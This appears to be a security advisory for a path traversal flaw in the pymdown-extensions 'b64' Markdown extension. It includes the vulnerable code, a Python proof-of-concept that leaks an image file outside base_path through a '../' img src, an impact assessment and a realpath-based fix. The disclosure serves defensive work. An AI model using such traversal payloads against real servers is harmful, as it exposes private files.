Summary The "b64" extension inlines images referenced by "<img src="...">" as base64 data URIs. When resolving the "src" path it joins it onto the configured "base_path" with "os.path.normpath" and opens the result directly, with no check that the resolved path stays inside "base_path". A "src" containing "../" sequences, or an absolute path, therefore reads a file outside "base_path" as long as that file has an allowed image extension (".png", ".jpg", ".jpeg", ".gif", ".svg"). The base64 of that file is then embedded in the rendered output, disclosing its contents. This is a separate code path from the "snippets" traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in "pymdownx/b64.py" and has no path restriction of any kind. Confirmed on "10.21.3" installed from PyPI. Details In "pymdownx/b64.py", function "repl_path" (around lines 68 to 90 on "main"): if is_absolute: file_name = os.path.normpath(path) # absolute src: base_path ignored entirely else: file_name = os.path.normpath(os.path.join(base_path, path)) # relative src: '../' escapes base_path if os.path.exists(file_name): ext = os.path.splitext(file_name)[1].lower() for b64_ext in file_types: if ext in b64_ext: with open(file_name, "rb") as f: # opened with no containment check ... There is no "startswith(base_path)", no "os.path.realpath" comparison, and no rejection of "..". Both branches are reachable from an attacker-controlled "src". PoC Reproduced against an unmodified "pymdown-extensions==10.21.3" from PyPI. The script creates a "base_path" directory and a PNG one level above it, then renders Markdown whose image "src" points outside "base_path", and confirms the outside file's bytes appear base64-encoded in the output. import base64, os, shutil, tempfile, markdown root = tempfile.mkdtemp() base_path = os.path.join(root, "docs"); os.makedirs(base_path) outside = os.path.join(root, "secret"); os.makedirs(outside) png = base64.b64decode( "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk" "+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==" ) with open(os.path.join(outside, "secret.png"), "wb") as f: f.write(png) md = markdown.Markdown( extensions=["pymdownx.b64"], extension_configs={"pymdownx.b64": {"base_path": base_path}}, ) html = md.convert('<img src="../secret/secret.png">') assert base64.b64encode(png).decode() in html, "not leaked" print("LEAKED:", html) Output: LEAKED: <p><img src="..."></p> The base64 of a file outside "base_path" is present in the output. The absolute-path branch behaves the same way: an absolute "src" bypasses "base_path" entirely via "os.path.normpath(path)". Both were confirmed leaking. Impact An application that renders untrusted Markdown with "pymdownx.b64" enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed. Suggested fix Resolve the real path and require it to stay within "base_path" before opening: file_name = os.path.realpath(os.path.join(base_path, path)) base_real = os.path.realpath(base_path) if file_name != base_real and not file_name.startswith(base_real + os.sep): return m.group(0) # leave the tag untouched; do not read outside base_path The same containment check should apply to the absolute-path branch rather than trusting an absolute "src". Using "realpath" instead of "abspath" also closes the related symlink-following gap in the snippets handler.